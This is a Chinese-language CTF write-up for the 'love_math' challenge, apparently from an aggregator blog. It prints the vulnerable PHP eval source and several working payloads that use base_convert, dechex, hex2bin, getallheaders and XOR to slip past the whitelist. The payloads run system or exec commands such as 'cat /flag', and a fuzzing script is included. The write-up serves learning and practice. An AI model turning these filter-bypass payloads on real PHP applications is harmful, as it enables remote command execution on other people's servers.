当前位置: 首页 > news >正文

[CTF]攻防世界:love_math

题目:[CTF]攻防世界:love_math

学习点:php的动态函数、默认函数名使用

<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content=$_GET['c'];if(strlen($content)>=80){die("太长了不会算");}$blacklist=[' ','\t','\r','\n','\'','"','`','\[','\]'];foreach($blacklistas$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);foreach($used_funcs[0]as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');}

给出源代码,让你构造出方法来拿到flag,看到白名单和黑名单及字符80长度限制。


步骤

1、长度太短,考虑用**$_GET[x]**。

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

[ ] 方括号被过滤,可以用{}尖括号代替。但是GET必须大写。

其中源代码中白名单函数可以利用的应该是base_convert函数,可以进行进制转换。

2、接下来考虑构造出$_GET[x]

现有:dechex (十进制转16进制) 还需要一个 16进制转ascii (hex2bin
通过base_convert十进制到36进制转换,得到hex2bin

总的payload:http://61.147.171.35:65356/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls
解释:

  1. base_convert(37907361743,10,36) => “hex2bin”
  2. dechex(1598506324) => “5f474554” => hex2bin(5f474554) => _GET
  3. $pi=_GET;
  4. ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

ascii 转 16

16进制转10


3、执行命令拿到flag


其实还有许多中方法,以下参考学习:

1、

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})base_convert(696468,10,36)=>"exec"$pi(8768397090111664438,10,30)=>"getallheaders"exec(getallheaders(){1})//操作xx和yy,中间用逗号隔开,echo都能输出echo xx,yy

2、

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))//system('cat'.dechex(16)^asinh^pi) => system('cat *')base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

3、fuzz

<?php $payload=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','bindec','ceil','cos','cosh','decbin','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];for($k=1;$k<=sizeof($payload);$k++){for($i=0;$i<9;$i++){for($j=0;$j<=9;$j++){$exp=$payload[$k]^$i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo"<br />";}}}http://XXX/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
http://www.cnnetsun.cn/news/24862.html

相关文章:

  • 税局正在调研“赛维模式”?广东多地卖家收到通知
  • OpenPose Editor完整教程:3步实现精准AI姿势控制
  • 学生成绩查询管理系统,AI智能评语与数据分析工具
  • WebAssembly反编译实战:从二进制迷雾到清晰代码的蜕变之旅
  • RankMixer:工业级推荐系统中排序模型的规模化扩展
  • 【SSM网上跳蚤市场】(免费领源码+演示录像)|可做计算机毕设Java、Python、PHP、小程序APP、C#、爬虫大数据、单片机、文案
  • Qwen3-4B-FP8模型:5分钟轻松上手的AI开发新选择
  • Version-Fox终极插件管理指南:从零开始掌握多版本控制
  • Cloudpods终极指南:简单快速实现多云管理自动化
  • 极速AI助手快速接入腾讯混元大模型教程
  • 淘宝直播数据抓取终极指南:快速掌握实时监控技巧
  • Tomcat跨域配置终极指南:5分钟解决CORS问题
  • JAVA中如何操作文件
  • Tauri WebAssembly实战指南:5个技巧让应用性能飙升300%
  • Obsidian日历插件终极指南:5分钟打造高效笔记管理系统
  • 英伟达奖学金半数以上都是华人?
  • ManiSkill机器人仿真环境完全使用指南
  • GLM语言模型深度解析:从技术原理到实战应用的进阶指南
  • RookieAI_yolov8:2025年AI游戏辅助的完整解决方案与性能优化指南
  • 海量数据中找出最大的前100个(find_topk)最小堆算法
  • Claude Code Router多模型集成实战:打造智能开发工作流
  • 水稻病害检测(YOLO数据集,多分类,稻瘟病、纹枯病、褐斑病、枯心病、霜霉病、水稻细菌性条纹斑病、稻苞虫)
  • ABB机器人省气装置在薄板焊接中的实际效果
  • 京东Java面试被问:ZGC的染色指针如何实现?内存屏障如何处理?
  • 硬件 - 高速协议设计整合
  • Vue3如何设计百万文件上传的进度监控界面?
  • 黑芝麻智能与元戎启行达成深度合作,共推高阶辅助驾驶技术量产落地
  • Steamless终极指南:深度解析DRM移除技术与多场景应用
  • 如何在消费级显卡上运行Llama-Factory进行模型微调?
  • Qwen-Edit多角度控制插件:零基础快速掌握12种镜头变换技巧